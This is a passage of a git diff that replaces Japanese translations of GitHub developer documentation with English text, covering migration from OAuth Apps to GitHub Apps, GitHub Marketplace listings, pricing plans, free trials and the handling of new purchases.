Appの名前で、`ID_OF_USER_OR_ORG`をターゲットユーザもしくはOrganizationのIDで置き換え、最大で100個のリポジトリID（`REPO_A_ID`及び`REPO_B_ID`）を含めなければなりません。 OAuth Appがアクセスできるリポジトリのリストを取得するには、[認証されたユーザのためのリポジトリのリスト](/rest/reference/repos#list-repositories-for-the-authenticated-user)及び[Organizationのリポジトリのリスト](/rest/reference/repos#list-organization-repositories)エンドポイントを使ってください。 +You'll need to replace `YOUR_APP_NAME` with the name of your GitHub App, `ID_OF_USER_OR_ORG` with the ID of your target user or organization, and include up to 100 repository IDs (`REPO_A_ID` and `REPO_B_ID`). To get a list of repositories your OAuth App has access to, use the [List repositories for the authenticated user](/rest/reference/repos#list-repositories-for-the-authenticated-user) and [List organization repositories](/rest/reference/repos#list-organization-repositories) endpoints. -### 不必要なリポジトリフックの削除 +### Remove any unnecessary repository hooks -GitHub Appがリポジトリにインストールされたら、従来のOAuth Appによって作成された不要なwebhookを削除する必要があります。 どちらのアプリケーションも同じリポジトリにインストールされていると、ユーザにとっては機能が重複するかもしれません。 webhookを削除するには、`repositories_added`アクションの[`installation_repositories` webhook](/webhooks/event-payloads/#installation_repositories)を待ち受け、それらのリポジトリ上にOAuth Appによって作成された[リポジトリwebhookを削除](/rest/reference/repos#delete-a-repository-webhook)できます。 +Once your GitHub App has been installed on a repository, you should remove any unnecessary webhooks that were created by your legacy OAuth App. If both apps are installed on a repository, they may duplicate functionality for the user. To remove webhooks, you can listen for the [`installation_repositories` webhook](/webhooks/event-payloads/#installation_repositories) with the `repositories_added` action and [Delete a repository webhook](/rest/reference/repos#delete-a-repository-webhook) on those repositories that were created by your OAuth App. -### OAuth Appへのアクセスの取り消しをユーザに促す +### Encourage users to revoke access to your OAuth app -GitHub Appのインストールベースが増大してきたら、ユーザに従来のOAuthインテグレーションへのアクセスを取り消すように促すことを検討してください。 詳しい情報については、「[OAuth App を認証する](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)」を参照してください。 +As your GitHub App installation base grows, consider encouraging your users to revoke access to the legacy OAuth integration. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)." -### OAuth Appの削除 +### Delete the OAuth App -OAuth App認証情報の不正利用を避けるには、OAuth Appの削除を検討してください。 このアクションは、OAuth Appの残りの権限もすべて取り消します。 詳しい情報については、「[OAuth App を削除する](/developers/apps/managing-oauth-apps/deleting-an-oauth-app)」を参照してください。 +To avoid abuse of the OAuth App's credentials, consider deleting the OAuth App. This action will also revoke all of the OAuth App's remaining authorizations. For more information, see "[Deleting an OAuth App](/developers/apps/managing-oauth-apps/deleting-an-oauth-app)." diff --git a/translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md b/translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md index 465f8d7da6..9b9bc6f646 100644 --- a/translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md +++ b/translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md @@ -1,6 +1,6 @@ --- -title: GitHub Marketplaceについて -intro: 'アプリケーションやアクションを全{% data variables.product.product_name %}ユーザと共有できる{% data variables.product.prodname_marketplace %}について学びましょう。' +title: About GitHub Marketplace +intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -11,56 +11,55 @@ versions: topics: - Marketplace --- - -[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace)は、{% data variables.product.prodname_dotcom %}のワークフローを拡張し、改善したい開発者とあなたをつなぎます。 {% data variables.product.prodname_marketplace %}で利用する、開発者のための無料及び有料のツールをリストできます。 {% data variables.product.prodname_marketplace %}は、開発者に{% data variables.product.prodname_actions %}とアプリケーションという2種類のツールを提供します。それぞれのツールは、{% data variables.product.prodname_marketplace %}への追加に際して異なるステップを必要とします。 +[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) connects you to developers who want to extend and improve their {% data variables.product.prodname_dotcom %} workflows. You can list free and paid tools for developers to use in {% data variables.product.prodname_marketplace %}. {% data variables.product.prodname_marketplace %} offers developers two types of tools: {% data variables.product.prodname_actions %} and Apps, and each tool requires different steps for adding it to {% data variables.product.prodname_marketplace %}. ## GitHub Actions {% data reusables.actions.actions-not-verified %} -{% data variables.product.prodname_marketplace %}における{% data variables.product.prodname_actions %}の公開について学ぶには、 「[アクションをGitHub Marketplaceで公開する](/actions/creating-actions/publishing-actions-in-github-marketplace)」を参照してください。 +To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." -## アプリ +## Apps -誰でも他のユーザと{% data variables.product.prodname_marketplace %}で無料でアプリケーションを共有できますが、販売できるのはOrganizationが所有するアプリケーションのみです。 +Anyone can share their apps with other users for free on {% data variables.product.prodname_marketplace %} but only apps owned by organizations can sell their app. -アプリケーションの有料プランを公開し、Marketplaceバッジを表示するには、パブリッシャー検証プロセスを完了する必要があります。 詳しい情報については、「[Organizationのパブリッシャー検証プロセスを申請する](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)」または「[アプリケーションを載せるための要件](/developers/github-marketplace/requirements-for-listing-an-app)」を参照してください。 +To publish paid plans for your app and display a marketplace badge, you must complete the publisher verification process. For more information, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" or "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." -Organizationが要件を満たすと、Organizationでオーナー権限を持つユーザは、権限が及ぶあらゆるアプリケーションで有料プランを公開できます。 有料プランのある各アプリケーションについては、支払いを可能にするため、財務オンボーディングプロセスも実施します。 +Once the organization meets the requirements, someone with owner permissions in the organization can publish paid plans for any of their apps. Each app with a paid plan also goes through a financial onboarding process to enable payments. -Freeプランのアプリケーションを公開するために必要なことは、アプリケーション掲載の一般的な要件を満たすだけです。 詳しい情報については、「[GitHub Marketplace に掲載するすべてのアプリケーションに求められる要件](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings)」を参照してください。 +To publish apps with free plans, you only need to meet the general requirements for listing any app. For more information, see "[Requirements for all GitHub Marketplace listings](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings)." -### アプリケーションは初めてですか? +### New to apps? -{% data variables.product.prodname_marketplace %}のアプリケーション作成に関心があり、{% data variables.product.prodname_github_apps %}や{% data variables.product.prodname_oauth_apps %}に慣れていない場合は、「[{% data variables.product.prodname_github_apps %}を構築する](/developers/apps/building-github-apps)」や「[{% data variables.product.prodname_oauth_apps %}を構築する](/developers/apps/building-oauth-apps)」を参照してください。 +If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps)." ### {% data variables.product.prodname_github_apps %} vs. {% data variables.product.prodname_oauth_apps %} -{% data reusables.marketplace.github_apps_preferred %}、{% data variables.product.prodname_marketplace %}ではOAuthと{% data variables.product.prodname_github_apps %}をどちらもリストできます。 詳しい情報については、「[{% data variables.product.prodname_github_apps %}と{% data variables.product.prodname_oauth_apps %}の違い](/apps/differences-between-apps/)」および「[{% data variables.product.prodname_oauth_apps %}を{% data variables.product.prodname_github_apps %}に移行する](/apps/migrating-oauth-apps-to-github-apps/)」を参照してください。 +{% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_apps %} in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_apps %} to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." -## {% data variables.product.prodname_marketplace %} にアプリケーションを公開する手順の要約 +## Publishing an app to {% data variables.product.prodname_marketplace %} overview -アプリケーションを作成したら、{% data variables.product.prodname_marketplace %}に公開して他のユーザと共有できます。 その手順を要約すると以下の通りです。 +When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: -1. 他のリポジトリで期待通りに動作するよう、またベストプラクティスのガイドラインに沿うよう、アプリケーションをよく確認します。 詳しい情報については、「[アプリケーションのセキュリティにおけるベストプラクティス](/developers/github-marketplace/security-best-practices-for-apps)」および「[アプリケーションを載せるための要件](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)」を参照してください。 +1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." -1. ユーザの支払いリクエストを追跡するため、アプリケーションにwebhookイベントを追加します。 {% data variables.product.prodname_marketplace %} API、webhookイベント、および支払いリクエストの詳しい情報については、「[アプリケーションでの{% data variables.product.prodname_marketplace %} APIの利用](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)」を参照してください。 +1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." -1. ドラフトの{% data variables.product.prodname_marketplace %}リストを作成します。 詳しい情報については、「[アプリケーションのリストのドラフト](/developers/github-marketplace/drafting-a-listing-for-your-app)」を参照してください。 +1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." -1. 価格プランを追加します。 詳しい情報については、「[リストに対する価格プランの設定](/developers/github-marketplace/setting-pricing-plans-for-your-listing)」を参照してください。 +1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." -1. 「{% data variables.product.prodname_marketplace %}開発者同意書」(/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement) の条項を読み、同意します。 +1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement." -1. {% data variables.product.prodname_marketplace %} に公開するリストをサブミットします。 詳しい情報については、「[公開するリストをサブミットする](/developers/github-marketplace/submitting-your-listing-for-publication)」を参照してください。 +1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." -## アプリケーションの実績を確認する +## Seeing how your app is performing -掲載されているアプリケーションのメトリクスや取引情報にアクセスできます。 詳しい情報については、以下を参照してください。 +You can access metrics and transactions for your listing. For more information, see: -- [リストのメトリクスの参照](/developers/github-marketplace/viewing-metrics-for-your-listing) -- [リストの取引の表示](/developers/github-marketplace/viewing-transactions-for-your-listing) +- "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" +- "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" -## サポートへの連絡 +## Contacting Support -{% data variables.product.prodname_marketplace %}に関する質問がある場合は、{% data variables.contact.contact_support %}に直接お問い合わせください。 +If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. diff --git a/translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/index.md b/translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/index.md index a7546a2925..a478d03e36 100644 --- a/translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/index.md +++ b/translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/index.md @@ -1,6 +1,6 @@ --- -title: GitHub Marketplaceの概要 -intro: '{% data variables.product.prodname_marketplace %}の{% data variables.product.company_short %}コミュニティでアプリケーションやアクションを共有する方法を学びましょう。' +title: GitHub Marketplace Overview +intro: 'Learn how you can share your app or action with the {% data variables.product.company_short %} community on {% data variables.product.prodname_marketplace %}.' versions: fpt: '*' ghec: '*' @@ -8,6 +8,6 @@ children: - /about-github-marketplace - /about-marketplace-badges - /applying-for-publisher-verification-for-your-organization -shortTitle: 概要 +shortTitle: Overview --- diff --git a/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md b/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md index 315620b0ab..999f345c3d 100644 --- a/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md +++ b/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -1,6 +1,6 @@ --- -title: GitHub Marketplaceアプリケーションの価格プラン -intro: '価格プランを利用して、様々なレベルのサービスやリソースと共にアプリケーションを提供できます。 {% data variables.product.prodname_marketplace %}のリストでは、最大で10個の価格プランを提供できます。' +title: Pricing plans for GitHub Marketplace apps +intro: 'Pricing plans allow you to provide your app with different levels of service or resources. You can offer up to 10 pricing plans in your {% data variables.product.prodname_marketplace %} listing.' redirect_from: - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans/ - /marketplace/selling-your-app/github-marketplace-pricing-plans @@ -10,51 +10,50 @@ versions: ghec: '*' topics: - Marketplace -shortTitle: アプリケーションの価格プラン +shortTitle: Pricing plans for apps --- +{% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to apps published by verified publishers. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)." -{% data variables.product.prodname_marketplace %}の価格プランは、無料、定額料金、ユニット単位にできます。 価格は米ドルで設定、表示、処理されます。 有料プランは、検証済みパブリッシャーが公開するアプリケーションに限られます。 検証済みパブリッシャーになる方法の詳細については、「[Organizationのパブリッシャー検証プロセスを申請する](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)」を参照してください。 +Customers purchase your app using a payment method attached to their account on {% data variables.product.product_location %}, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." -顧客は{% data variables.product.prodname_dotcom_the_website %}を離れることなく、{% data variables.product.product_location %}上のアカウントに添付された支払い方法を使ってアプリケーションを購入します。 支払いトランザクションを実行するためにコードを書く必要はありませんが、{% data variables.product.prodname_marketplace %} APIからのイベントは処理しなければなりません。 詳しい情報については「[アプリケーションでの{% data variables.product.prodname_marketplace %} APIの利用](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)」を参照してください。 +If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. -{% data variables.product.prodname_marketplace %}上でリストしているアプリケーションが複数のプランのオプションを持っているなら、対応する価格プランをセットアップできます。 たとえばアプリケーションが2つのプランの選択肢としてオープンソースプランとプロプランを持っているなら、オープンソースプランに対して無料価格プランを、そしてプロプランに対して定額料金プランをセットアップできます。 それぞれの{% data variables.product.prodname_marketplace %}リストには、リストされたすべてのプランに対して年間及び月間の価格がなければなりません。 - -価格プランの作成方法に関する詳しい情報については「[{% data variables.product.prodname_marketplace %}リストの価格プランの設定](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)」を参照してください。 +For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.free-plan-note %} -## 価格プランの種類 +## Types of pricing plans -### 無料プラン +### Free pricing plans {% data reusables.marketplace.free-apps-encouraged %} -無料プランは、ユーザに対してまったく無料です。 無料プランをセットアップした場合、アプリケーションを利用するために無料プランを選択したユーザに課金することはできません。 リストでは無料と有料のプランをどちらも作成できます。 +Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. -すべてのアプリケーションは、新規の購入とキャンセルのイベントを処理しなければなりません。 無料プランだけを持つアプリケーションは、無料トライアル、アップグレード、ダウングレードのイベントを処理する必要はありません。 詳しい情報については「[アプリケーションでの{% data variables.product.prodname_marketplace %} APIの利用](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)」を参照してください。 +All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." -{% data variables.product.prodname_marketplace %}に無料のサービスとしてリスト済みのアプリケーションに有料プランを追加する場合、アプリケーションの検証をリクエストし、金銭のオンボーディングを通さなければなりません。 +If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. -### 有料プラン +### Paid pricing plans -有料プランには2つの種類があります。 +There are two types of paid pricing plan: -- 定額プランは、月単位及び年単位で設定された料金を課金します。 +- Flat rate pricing plans charge a set fee on a monthly and yearly basis. -- ユニット単位の価格プランは、月単位あるいは年単位で、指定したユニットに基づいて設定された料金を課金します。 「ユニット」には好きなもの（たとえばユーザ、シート、あるいは人）を指定できます。 +- Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). -無料トライアルを提供したいこともあるでしょう。 無料トライアルは、OAuthもしくはGitHub Appsを無料の14日間のトライアルとして顧客に提供します。 Marketplaceの価格プランをセットアップする際に、定額あるいはユニット単位の価格プランに対する無料トライアルを提供するオプションを選択できます。 +You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. -## 無料トライアル +## Free trials -顧客は、無料トライアルを含むMarketplaceリスト上の任意の有料プランに対して、無料トライアルを開始できます。 ただし、顧客はMarketplaceの製品ごとに複数の無料トライアルを作成することはできません。 +Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. -無料トライアルの期間は固定の14日間です。 顧客はトライアル期間の終了の4日前（無料トライアルの11日目）に、プランがアップグレードされるという通知を受け取ります。 顧客は、キャンセルしないかぎり、無料トライアルの終わりにトライアルを行っていたプランに自動的に登録されます。 +Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. -詳しい情報については「[新規の購入と無料トライアルの処理](/developers/github-marketplace/handling-new-purchases-and-free-trials/)」を参照してください。 +For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/handling-new-purchases-and-free-trials/)." {% note %} -**ノート:** GitHubは、キャンセルされたトライアルのすべてのプライベートな顧客データが、キャンセルイベントの受け付け開始から30日以内に削除されるものと期待します。 +**Note:** GitHub expects you to delete any private customer data within 30 days of a cancelled trial, beginning at the receipt of the cancellation event. {% endnote %} diff --git a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md index 64e2372f30..bc99d680d1 100644 --- a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md +++ b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md @@ -1,6 +1,6 @@ --- -title: 新しい購入や無料トライアルの処理 -intro: '顧客が有料プラン、無料のトライアル、あるいは{% data variables.product.prodname_marketplace %}アプリケーションの無料バージョンを購入した場合、`purchased`アクションが付いた[`marketplace_purchase`イベント](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhookを受信することになり、それによって購入フローが開始されます。' +title: Handling new purchases and free trials +intro: 'When a customer purchases a paid plan, free trial, or the free version of your {% data variables.product.prodname_marketplace %} app, you''ll receive the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhook with the `purchased` action, which kicks off the purchasing flow.' redirect_from: - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-github-apps/ - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-oauth-apps/ @@ -12,73 +12,72 @@ versions: ghec: '*' topics: - Marketplace -shortTitle: 新しい購入と無料トライアル +shortTitle: New purchases & free trials --- - {% warning %} -{% data variables.product.prodname_marketplace %}で{% data variables.product.prodname_github_app %}を提供している場合、アプリケーションはOAuthの認可フローに従ってユーザを識別しなければなりません。 このフローをサポートするために、別の{% data variables.product.prodname_oauth_app %}を設定する必要はありません。 詳しい情報については「[GitHub Appのユーザの特定と認可{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください。 +If you offer a {% data variables.product.prodname_github_app %} in {% data variables.product.prodname_marketplace %}, your app must identify users following the OAuth authorization flow. You don't need to set up a separate {% data variables.product.prodname_oauth_app %} to support this flow. See "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information. {% endwarning %} -## ステップ 1. 最初の購入とwebhookイベント +## Step 1. Initial purchase and webhook event -{% data variables.product.prodname_marketplace %}アプリケーションを購入する前に、顧客は[リストプラン](/marketplace/selling-your-app/github-marketplace-pricing-plans/)を選択します。 顧客は、アプリケーションの購入を自分の個人アカウントから行うのか、あるいはOrganizationアカウントから行うのかも選択します。 +Before a customer purchases your {% data variables.product.prodname_marketplace %} app, they select a [listing plan](/marketplace/selling-your-app/github-marketplace-pricing-plans/). They also choose whether to purchase the app from their personal account or an organization account. -**Complete order and begin installation（注文を完了してインストールを開始）**をクリックすることで、顧客は購入を完了します。 +The customer completes the purchase by clicking **Complete order and begin installation**. -そうすると、{% data variables.product.product_name %}は[`marketplace_purchase`](/webhooks/event-payloads/#marketplace_purchase) webhookに`purchased`アクションを付けてアプリケーションに送信します。 +{% data variables.product.product_name %} then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketplace_purchase) webhook with the `purchased` action to your app. -`marketplace_purchase` webhookから`effective_date`と`marketplace_purchase`を読み取り、顧客が購入したプラン、支払いサイクルの開始時点、次の支払いサイクルの開始時点を判断してください。 +Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. -アプリケーションが無料トライアルを提供しているなら、webhookから`marketplace_purchase[on_free_trial]`属性を読んでください。 この値が`true`なら、アプリケーションは無料トライアルの開始日(`effective_date`)と、無料トライアルの終了日(`free_trial_ends_on`)を追跡しなければなりません。 アプリケーションのUIに無料トライアルの残日数を表示するのには、`free_trial_ends_on`の日付を使ってください。 これはバナーか、[支払いUI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui)のいずれでも行えます。 無料トライアルの終了前のキャンセルの処理方法を学ぶには、「[プランのキャンセルの処理](/developers/github-marketplace/handling-plan-cancellations)」を参照してください。 無料トライアルの終了時点での無料トライアルから有料プランへの移行方法を知るには、「[プランの変更の処理](/developers/github-marketplace/handling-plan-changes)」を参照してください。 +If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. -`marketplace_purchase`イベントペイロードの例については「[{% data variables.product.prodname_marketplace %} webhookイベント](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)」を参照してください。 +See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. -## ステップ 2. インストール +## Step 2. Installation -アプリケーションが{% data variables.product.prodname_github_app %}なら、{% data variables.product.product_name %}は顧客に対してアプリケーションの購入時にそのアプリケーションがアクセスできるリポジトリの選択を求めます。 そして{% data variables.product.product_name %}は、顧客が選択したアカウントにそのアプリケーションをインストールし、選択されたリポジトリへのアクセスを許可します。 +If your app is a {% data variables.product.prodname_github_app %}, {% data variables.product.product_name %} prompts the customer to select which repositories the app can access when they purchase it. {% data variables.product.product_name %} then installs the app on the account the customer selected and grants access to the selected repositories. -この時点で、{% data variables.product.prodname_github_app %}の設定で**Setup URL**を指定している場合、{% data variables.product.product_name %}は顧客をそのURLへリダイレクトさせます。 Setup URLを指定していない場合、{% data variables.product.prodname_github_app %}の購入を処理することはできません +At this point, if you specified a **Setup URL** in your {% data variables.product.prodname_github_app %} settings, {% data variables.product.product_name %} will redirect the customer to that URL. If you do not specify a setup URL, you will not be able to handle purchases of your {% data variables.product.prodname_github_app %}. {% note %} -**注釈:** **Setup URL**は{% data variables.product.prodname_github_app %}の設定中でオプションとされていますが、アプリケーションを{% data variables.product.prodname_marketplace %}で提供したい場合には必須のフィールドです。 +**Note:** The **Setup URL** is described as optional in {% data variables.product.prodname_github_app %} settings, but it is a required field if you want to offer your app in {% data variables.product.prodname_marketplace %}. {% endnote %} -アプリケーションが{% data variables.product.prodname_oauth_app %}である場合、 {% data variables.product.product_name %}はそれをどこにもインストールしません。 その代わりに、{% data variables.product.product_name %}は顧客を[{% data variables.product.prodname_marketplace %}リスト](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#listing-urls)で指定された**Installation URL**へ顧客をリダイレクトします。 +If your app is an {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} does not install it anywhere. Instead, {% data variables.product.product_name %} redirects the customer to the **Installation URL** you specified in your [{% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#listing-urls). -顧客が{% data variables.product.prodname_oauth_app %}を購入すると、{% data variables.product.product_name %}はその顧客を選択されたURL（Setup URLまたはInstallation URL）へリダイレクトし、そのURLには顧客が選択した価格プランがクエリパラメータの`marketplace_listing_plan_id`として含まれます。 +When a customer purchases an {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} redirects the customer to the URL you choose (either Setup URL or Installation URL) and the URL includes the customer's selected pricing plan as a query parameter: `marketplace_listing_plan_id`. -## ステップ 3. 認可 +## Step 3. Authorization -顧客がアプリケーションを購入したら、顧客をOAuthの認可フローに送らなければなりません。 +When a customer purchases your app, you must send the customer through the OAuth authorization flow: -* アプリケーションが{% data variables.product.prodname_github_app %}である場合、{% data variables.product.product_name %}が顧客を**Setup URL**にリダイレクトした後すぐに認可フローを始めます。 「[{% data variables.product.prodname_github_apps %}のユーザの特定の認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」のステップに従ってください。 +* If your app is a {% data variables.product.prodname_github_app %}, begin the authorization flow as soon as {% data variables.product.product_name %} redirects the customer to the **Setup URL**. Follow the steps in "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." -* アプリケーションが{% data variables.product.prodname_oauth_app %}である場合、{% data variables.product.product_name %}が顧客を**Installation URL**にリダイレクトした後すぐに認可フローを始めます。 「[{% data variables.product.prodname_oauth_apps %}の認可](/apps/building-oauth-apps/authorizing-oauth-apps/)」のステップに従ってください。 +* If your app is an {% data variables.product.prodname_oauth_app %}, begin the authorization flow as soon as {% data variables.product.product_name %} redirects the customer to the **Installation URL**. Follow the steps in "[Authorizing {% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/authorizing-oauth-apps/)." -どちらの種類のアプリケーションでも、最初のステップは顧客をhttps://github.com/login/oauth/authorizeにリダイレクトさせることです。 +For either type of app, the first step is to redirect the customer to https://github.com/login/oauth/authorize. -顧客が認可を完了すると、アプリケーションは顧客のOAuthアクセストークンを受け取ります。 このトークンは、次のステップで必要になります。 +After the customer completes the authorization, your app receives an OAuth access token for the customer. You'll need this token for the next step. {% note %} -**ノート:** 顧客を無料トライアルで認可する場合は、有料プランの場合と同じアクセス権を付与してください。 それらの顧客は、無料の期間が終了したら有料プランに移行させます。 +**Note:** When authorizing a customer on a free trial, grant them the same access they would have on the paid plan. You'll move them to the paid plan after the trial period ends. {% endnote %} -## ステップ 4. 顧客アカウントのプロビジョニング +## Step 4. Provisioning customer accounts -アプリケーションは、すべての新規購入に対して顧客アカウントをプロビジョニングしなければなりません。 [ステップ3 認可](#step-3-authorization)で受け取った顧客のアクセストークンを使い、 